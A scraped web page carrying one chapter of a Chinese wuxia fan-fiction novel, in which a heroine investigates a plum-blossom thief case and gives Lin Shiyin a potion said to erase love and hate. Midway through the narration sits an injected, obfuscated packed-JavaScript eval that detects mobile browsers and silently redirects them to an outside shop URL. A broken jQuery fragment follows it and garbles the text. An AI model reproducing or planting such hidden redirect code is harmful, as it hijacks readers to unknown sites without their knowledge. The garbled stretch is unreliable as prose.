文趣网 > 其他小说 > [综武侠]红鸾权臣何时归 > 37.林诗音选择“逃避”
    房内烛火摇曳,暖黄光晕落满案几,映得满桌纸页层层叠叠、密密麻麻。

    无情执笔垂眸,指尖落墨沉稳利落,笔尖划过纸面,不断添上一个个江湖名号。

    参与梅花盗案牵连、暗中疑似勾结的人员名单越列越长,一张宣纸彻底写满,边角再无半分空余,他便随手抽过一张新纸,继续罗列梳理,不曾有半分停歇。

    满屋皆是沉静的墨香,唯有笔尖触纸的沙沙轻响,在静谧夜色里缓缓流淌。

    一旁的栖梧,又做起了专属“翻译官”的差事。

    自昨日起,他们便将受过特训、嗅觉远超凡犬的鹰犬赫利从县衙驻地接到了兴云庄。同时安排通人性、善探查、擅长偷听窥秘的赛勒暗中值守,专门监视林仙儿的一举一动。

    跟踪窥探、伏耳听墙角的细碎差事,素来清冷矜贵、一身正气的无情做来未免违和,极易被江湖同道察觉戒备。可人心最是刻板,世人会提防同类的窥探算计,却永远不会戒备一只低空盘旋的飞鸟、一条温顺无害的猎犬。

    这便是最稳妥、最隐蔽的探查底牌。

    今日天刚破晓,栖梧便带着赛勒走遍了整座兴云庄。先是刻意靠近林仙儿的居所,稳稳锁定她身上独有的脂粉香气与人气味道,随后穿梭于庄内各处庭院、回廊、宴客厅堂,往来人流密集之地,借着赛勒极致敏锐的嗅觉,大范围筛查锁定与林仙儿有过隐秘接触、气息交织的可疑人员。

    排查结果,远比众人预想的更加惊悚。

    仅凭气息牵连、私下往来、暗通踪迹筛查出的可疑名单,密密麻麻写满了三页宣纸,依旧没能尽数罗列完毕,牵连人数之广,触目惊心。

    陆小凤坐在对面,手里撸着狗头。他的手法很好,从赛勒的头顶一路撸到脊背,力道不轻不重。赛勒被他撸得很舒服,尾巴摇得像风车。

    “这人数,半个兴云庄的江湖人都在里面了吧?”陆小凤啧啧称奇,低下头看着赛勒,“乖狗狗,我得奖励你几斤肉才行。”

    闻言,赫利瞬间兴奋地摇着尾巴,温热的脑袋蹭着陆小凤掌心,温顺又雀跃。

    陆小凤抬眸看向一旁神色温顺的栖梧,眼底满是真切赞叹:“没想到月牙姑娘竟有这般奇异本事,能通兽语、借兽探案,若是用好,日后查案便是一柄无可替代的利器。”

    “陆大侠说笑了。”栖梧低下头,理了理袖口,“我只是从小与赫利、赛勒一起长大,过于熟悉罢了。其他不熟的猫猫狗狗,我可听不懂它们在说什么。”

    她的语气很淡,带着恰到好处的谦逊。小荻在场,她记得自己是丫鬟——月牙儿。陆小凤没有再问,低下头继续撸狗。

    小荻正扒在桌旁,盯着纸上一连串错综复杂的江湖名号,稚嫩的脸蛋紧绷着,却死死压不住眼底翻涌的笑意,眼底星光熠熠,满是亢奋。

    他指尖点过纸上几个熟悉的名号,压低声音,带着少年人独有的促狭与快意:“居然连少林寺的和尚都掺和进来了!我就知道这群满口慈悲的秃驴没几个干净的,这下好了,又是天大的独家猛料,我有的写了!”

    陆小凤抬手,用刚揉过狗头的手肆意揉乱小荻的发髻,笑意戏谑:“小可爱,你们大宋日报这次一出稿,怕是又要逼得少林寺大出血、低头让步了。”

    半年前的无花事件,就是《大宋日报》爆出来的。那篇文章写得极狠,直指少林寺是藏污纳垢之地,方丈识人不清,引狼入室。朝廷借此发难,让少林寺吐出了不少隐藏的良田土地。小荻在那篇文章里署了个笔名,听说稿费拿了不老少。这次梅花盗的案子,少林寺又牵扯进来了——不是被冤枉的,是他们自己掺和的。龙啸云请了少林寺的和尚来“押解”李寻欢,这里面有没有猫腻,他不知道。但“少林寺”三个字出现在这张纸上,就是最好的新闻。

    小荻的头发被揉成了鸟窝。他的脸涨得通红,不知道是气的还是羞的,“不许叫我小可爱!”

    他的声音很大,带着一种“你再叫我就跟你拼了”的气势。陆小凤笑得更欢了,手没有收回来,又揉了一把。

    陆小凤和小荻打闹的时候,窗外传来一阵翅膀扑棱的声音。金雕赫利从夜空中俯冲下来,落在窗棂上,爪子抓紧了木头。它的羽毛上沾了露水,湿漉漉的,在烛光下闪着细碎的光。栖梧走到窗边,赫利跳到她肩头低下头,在她耳边叫了几声。声音不大,长短不一。

    栖梧听完了,走回桌边。

    “林仙儿和百晓生密谈了很久”她顿了顿,“看来今天晚上要有动作了,他们应该是得到了今晚我会去拜访龙夫人的消息。”

    话音未落,一旁执笔沉思的无情已然抬眸,墨色眼眸沉静笃定,语气不容置喙:“今夜我随你一同前往,暗中护你周全。”

    陆小凤看了看无情,又看了看栖梧。他的手还在小荻头上,小荻正使劲想把他的手掰开。

    感谢小荻在场吧,不然无情大爷已经站起来把人抱上怀里了。陆小凤在心里想着,手上的力气又大了几分。

    “陆叔叔!你放开我!”

    小荻的声音更大了。陆小凤收回了手,站起来拍了拍衣袍。

    “走吧,小可爱。陆叔叔带你去吃保定府的驴肉火烧。让你尝尝什么叫人间美味。”

    “不许叫我小可爱!”

    小荻跟在他身后跑了出去。院子里传来他的喊声,越来越远。

    屋里的灯花跳了一下。无情走到栖梧面前,伸手把她鬓边一缕碎发别到耳后。“小心些。”

    “放心。”栖梧仰起脸看着他,琥珀色的眼睛在烛光下很亮,“这次还有你!”

    夜色渐深,月色微凉,清辉洒落兴云庄的亭台楼阁,看似静谧安然,实则暗流汹涌、杀机四伏。

    孤身赴局,看似冒险,却是眼下最有效的破局之法。

    一路行来,晚风萧瑟,树影婆娑,沿途并无半分异常,没有埋伏截杀,没有暗中窥探,她安然抵达了那栋清冷孤寂的三层小楼。

    小楼房门虚掩,屋内烛火温柔,静谧无声。

    栖梧轻轻推门而入,轻声开口,不卑不亢:“龙夫人,深夜叨扰,还望海涵。”

    林诗音正静坐烛下,指尖捻着一页书卷,眉眼倦怠,神色憔悴。见栖梧前来,她勉强撑起一抹温和笑意,抬手示意:“月牙儿姑娘快请坐。”

    栖梧没有多余寒暄,落座后便直入主题,省去所有虚与委蛇:“我今夜前来,是专为令郎一事。庄中白日争执打斗一事,夫人应当已有耳闻。”

    提及独子,林诗音脸上瞬间血色尽褪,脸色惨白如纸,眼底满是疲惫与难以置信,声音微微发颤:“小云他……平日里在我面前一向乖巧温顺、懂事听话,我从未想过,他竟会做出暗放暗器、伤人行凶之事。”

    栖梧静静看着她,心底通透清明。若是寻常孩童年少争胜、拳脚打闹,尚可归咎于年少顽劣、不懂分寸,可龙小云年岁不大,出手却是淬毒暗器、直指要害,招招奔着取人性命而去,心性已然彻底偏戾扭曲。这般根深蒂固的歹毒心性,绝非几句说教、几番责罚就能矫正,必须借助外力,强行纠偏、遏制恶果。

    “夫人,恕我直言。”栖梧语气诚恳,带着几分真切劝慰,“兴云庄如今鱼龙混杂、良莠不齐,江湖歹人、投机之辈盘踞于此,令郎日日耳濡目染、身处浊世,心性难免被潜移默化沾染污浊。古有孟母三迁,为子择邻而居,夫人如今,也该早做打算,为孩子谋一条正途。”

    林诗音指尖骤然收紧,死死攥紧手中丝帕,指节泛白,褶皱层层叠叠,如同她此刻纷乱纠结、紧绷撕裂的心境,压抑着无尽苦楚与无力。

    栖梧见状,顺势再添一把猛料,打算彻底撬开她的心房,诈出深埋的真相:“除此之外,梅花盗一案,龙庄主早已牵涉其中,深浅未知。如今朝廷开明,不推崇连坐追责,可那些被梅花盗残害的受害者家属,悲痛难平、恨意难消,绝不会轻易善罢甘休。”

    她心底自有分寸。目前她仅有猜测,并无实锤证明龙啸云深度参与此案,可眼下局势混沌,不妨大胆诈上一诈。只要能撬开突破口,后续有无情顺藤摸瓜、深挖彻查,不愁抓不到蛛丝马迹、揪出幕后黑手。

    目光落在林诗音脸上,栖梧清晰看见,听闻此言的女人,身躯微微一颤,眉眼间瞬间爬满极致的纠结、惶恐与痛苦。那不是全然不知情的茫然,而是心知肚明、却又无力挣脱的煎熬。

    栖梧眼底微光一闪,当即决定落下最锋利的一剂猛药,直击她心底最深的软肋:“林姑娘,你好好想想。李寻欢还在狱中蒙冤,还在等着你为他洗雪沉冤。”

    这句话精准踩中了林诗音尘封多年的心事,她骤然抬眸,眼底满是难堪、酸涩与挣扎,声音沙哑微弱:“不……他从不需要我为他伸冤。”

    她的声音很低很低,像从喉咙最深处挤出来的。栖梧看着她,等着她继续说。她没有说。她的嘴唇动了几次,又闭上了。她的目光从栖梧脸上移开,落在窗外,窗外没有月亮,只有一片沉沉的夜色。

    栖梧想起陆小凤说的那些事,那些事太狗血了,她那时候只是当成一个离谱的故事听,没有往心里去,更没有往深处想。

    现在她看着林诗音的表情,忽然觉得自己不应该在心里吐槽她爹当年的三角恋抓马了。

    他爹当年不是就被昔日基友的孙子戴了绿帽子吗?搁那之前,他爹都没有扯过这种狗血,他爹二话没说就开干,压根不管什么情情爱爱的。他爹多次踹翻棺材板仰卧起坐,要不是被二哥打得心累、受够了又遇上了她妈,指不定还得继续死磕下去。话说他爹的故事还被手下写书出版来着,文笔相当不错,只是可惜作者没了。她只能参考她爹的现实经历脑补后续了。

    这种深陷感情纠葛无法自拔的案例,她不久前才解决一个——桃花娘子,她把她从对白天羽的爱恨中拉了出来,用的是一瓶假毒药。

    现在看着林诗音,她忽然觉得,也许可以再试一次。能加快案件进程,无情应该会感谢自己吧,毕竟他挺想回汴京过年的。

    栖梧眼底掠过一抹狡黠的坏笑,随即收敛心神,故作感慨,缓缓开口,语调平淡却字字诛心:“看来时隔十余载,姑娘依旧没能彻底忘怀过往,这倒让我想起一位故人。”

    “哦?”林诗音果然被勾起好奇,抬眸望向她,眼底满是探究。

    “我那位故人,年少时明艳张扬、骄傲夺目,是世间最恣意鲜活的女子。”栖梧缓缓叙起故事,语气轻柔,如同闲谈往事,“她曾遇人不淑,被一名男子死缠烂打、百般讨好,可男子得手之后,便转瞬变心、弃如敝履,薄情寡义至极。”

    “她对他从满心欢喜到彻底失望,最后由爱生恨、执念深重。后来,那薄情郎转头盯上了另一位姑娘,百般撩拨、假意温柔。我那位故人知晓后,连夜登门警告那位姑娘,劝她看清人心险恶,早日离去。”

    烛火轻轻跳跃,映得栖梧眉眼温柔,语气平和无波。

    林诗音静静聆听,眉眼渐渐柔和下来,心底生出几分共情与慰藉。世间女子多被情爱所困、所伤,唯有彼此惺惺相惜、互帮互助,才是乱世真情。

    “然而,那个女孩子没有离开。”栖梧的语速慢了下来,像在回忆一个很久以前的故事。“直到有一天晚上,她看到了那个男人进了那个女孩子的房间。”

    林诗音的心都揪起来了。她的身子微微前倾,手指攥紧了帕子,“然后呢?”

    栖梧忽然抬眸,唇角扬起一抹极淡、极肆意的笑意。那不是丫鬟月牙儿温顺乖巧的浅笑,是独属于叶栖梧的、张扬洒脱、杀伐果断的凌厉笑意,肆意又张扬,极具冲击力,“然后她看到那个女孩子拎着那个男人的脑袋走了出来。”

    林诗音捂住了嘴。她的眼睛睁得很大,瞳孔缩了一下。那惊讶一下子从心里涌到了脸上,身子往后靠了靠,靠在椅背上。

    “!!!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595724|205530||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    猝不及防的极致反转,让林诗音浑身一震,瞳孔骤缩,下意识抬手捂住嘴巴,满眼惊骇,半晌说不出一句话来。

    “可故事并未就此结束。”栖梧敛去笑意,语气依旧平淡,继续缓缓道来,“我那位故人,目睹全程之后,没有半分庆幸,反倒滋生出滔天嫉妒。”

    “她开始嫉妒那个女孩子了。为什么你能做到我做不到的事?为什么你运气这么好?为什么?她开始传播谣言,说那个女孩子是因为爱而不得才杀了那个男人,一大批人开始追杀那个女孩子。”

    “这、这未免太过偏执荒唐……”林诗音喃喃自语,心绪翻涌,彻底被这跌宕的故事牵动。

    栖梧抬手,从容理了理平整的袖口,眸光澄澈通透,一语点破核心,声声落在林诗音心底:“林姑娘如今看懂了吗?太过沉重的爱与恨,终究会困住自己,让原本清醒善良的人,一步步变得面目全非、偏执癫狂。”

    屋内陷入长久的沉默。

    林诗音垂眸凝思,指尖微微颤抖,不知是幡然醒悟,还是依旧深陷执念。良久,她才轻声发问,带着几分茫然与执拗:“后来呢?那个姑娘最后怎么样了?”

    “那个女孩子没事,很快就带人杀回来了”,栖梧的语气很淡,像在说一件与自己无关的事,“可这让我的故人更加嫉妒了,在女孩想要把罪魁祸首的尸体挫骨扬灰时,她偷走了罪魁祸首的尸体,帮她最恨的人下了葬。”

    “待到那姑娘寻至坟前,只见她孤身趴在墓碑之上,姿态决绝,扬言若想毁尸泄愤,便先从她身上踏过去。”

    林诗音彻底失语,心绪复杂到极致。爱恨纠缠到这般地步,早已分不清是痴是傻、是愚是执。

    “那姑娘心生怜悯,终究不忍伤她。”栖梧唇角扬起一抹恰到好处的温婉笑意,回归月牙儿温顺无害的模样,“她留下一瓶奇药,转身离去。我那位故人只当是赐来的毒药,毫不犹豫尽数饮下,只求一死解脱。”

    “可待她次日醒来,却发现自己安然无恙。她没有遗忘过往的半点记忆,却唯独褪去了所有刻骨的爱意与彻骨的恨意。再想起那个男人,只剩满心荒唐与羞愧,再无半分波澜。于是,她亲手挖开坟墓,鞭尸泄愤,彻底了结了这段纠缠半生的孽缘。”

    林诗音听完,久久无言,心底五味杂陈。这一路反转跌宕,彻底击碎了她固有的认知,让她茫然无措。

    就在她怔神之际,栖梧缓缓抬手,从宽大衣袖中取出一只小巧精致的白瓷小瓶,轻轻放在烛火摇曳的桌案之上。

    “我那位故人喝下的药剂,名叫‘忘川’,又名‘忘情水’。喝下它,你不会丧失记忆,只会忘记爱与恨。”她从袖中拿出一个小瓷瓶,轻轻放在桌上。白釉,没有款识,瓶口用蜡封着。烛光下,瓷瓶泛着温润的光。

    “现在我这里还有一瓶,你需要吗?”

    林诗音的目光落在那个小瓷瓶上她,的目光有些散漫,有些失焦,像在透过那个瓷瓶看很远很远的东西。她的手从膝盖上抬起来了,又放下了,又抬起来了。手指在桌面上慢慢移动,一寸一寸地移向那个瓷瓶。

    栖梧站起来,走到林诗音身后,双手搭在她的肩膀上。她弯下腰,伏在林诗音耳边,声音很轻很轻,像魔鬼在诱惑凡人。

    “逃避可耻,但有用。李寻欢已经逃避了十几年了。人生有多少个十年呢?”她的声音带着一种蛊惑的、催眠的、让人不由自主想要听从的魔力。“喝下它,该让小李探花尝一尝自己酿出的苦果了。”

    语毕,栖梧直起身,不再多言,转身便朝着楼梯口缓步走去,姿态洒脱,步履从容。

    就在她即将踏下楼梯之际,身后传来林诗音略带颤抖的声音,穿透静谧夜色,骤然响起:“月牙儿姑娘……你口中的那位故人,是你自己吗?”

    栖梧脚步未顿,背影挺拔肆意,头也不回,只留下一句清冷通透的话语,淡淡回荡在小楼之内:“不是,我是那个拎着人头走出房间的姑娘。”

    话音落尽,她大步下楼,再不回头。

    屋内,林诗音怔怔立在原地,望着桌案上那只小小的白瓷瓶,眼底失焦涣散,心绪翻涌不休。她缓步走到窗边,悄悄推开一道窗缝,目光追随着月下那道渐行渐远的背影。

    林诗音忽然明白了一件事——为什么她会被嫉妒,为什么那个故人会恨她、会想毁了她。因为她太亮了,亮到站在她身边的人都会看到自己身上的阴影,但也着实让人羡慕呢!

    她转过身,走回桌边。那个白釉瓷瓶还静静地躺在桌上,烛光下泛着温润的光。她拿起来,拔开瓶塞,一饮而尽。液体滑过喉咙,没有味道,像白水。她等了一会儿,什么都没有发生。风还在吹,烛火还在跳,窗外那只夜鸟还在叫。她还是她。但有什么不一样了。她说不上来,只是觉得心里那根绷了十几年的弦,忽然断了,没有声音。

    栖梧穿过花园的时候,心情很好。这种好不是案子有进展的那种好,是做了一件好事的那种好。她觉得自己又解救了一个困于情爱的女性,功德快长出来了。

    她不知道忘川对林诗音有没有用——桃花娘子喝了之后是把白天羽的坟刨了,但林诗音不会去刨龙啸云的坟,龙啸云还没死,她也不确定龙啸云死后林诗音会不会去刨。她只是觉得,林诗音需要从那个困了她十几年的牢笼里走出来——不管用什么方式。

    鼻尖一凉。她抬起头。黑暗中有什么东西飘下来,落在她的睫毛上。凉凉的,湿湿的,化了。她伸出手,手掌摊开。一片白色的、六角形的小东西落在她的掌心里,停了一瞬,化了。

    下雪了。

    她仰起头看着天空。雪花从黑暗的天幕上纷纷扬扬地落下来,没有声音。她的嘴角弯了起来。身后传来轻微的闷响——是刀剑入肉的声音,很轻,很快。

    有人倒下去了,她听到了,没有回头,她的嘴角弯得更高了。

    事情马上就要结束了,真好。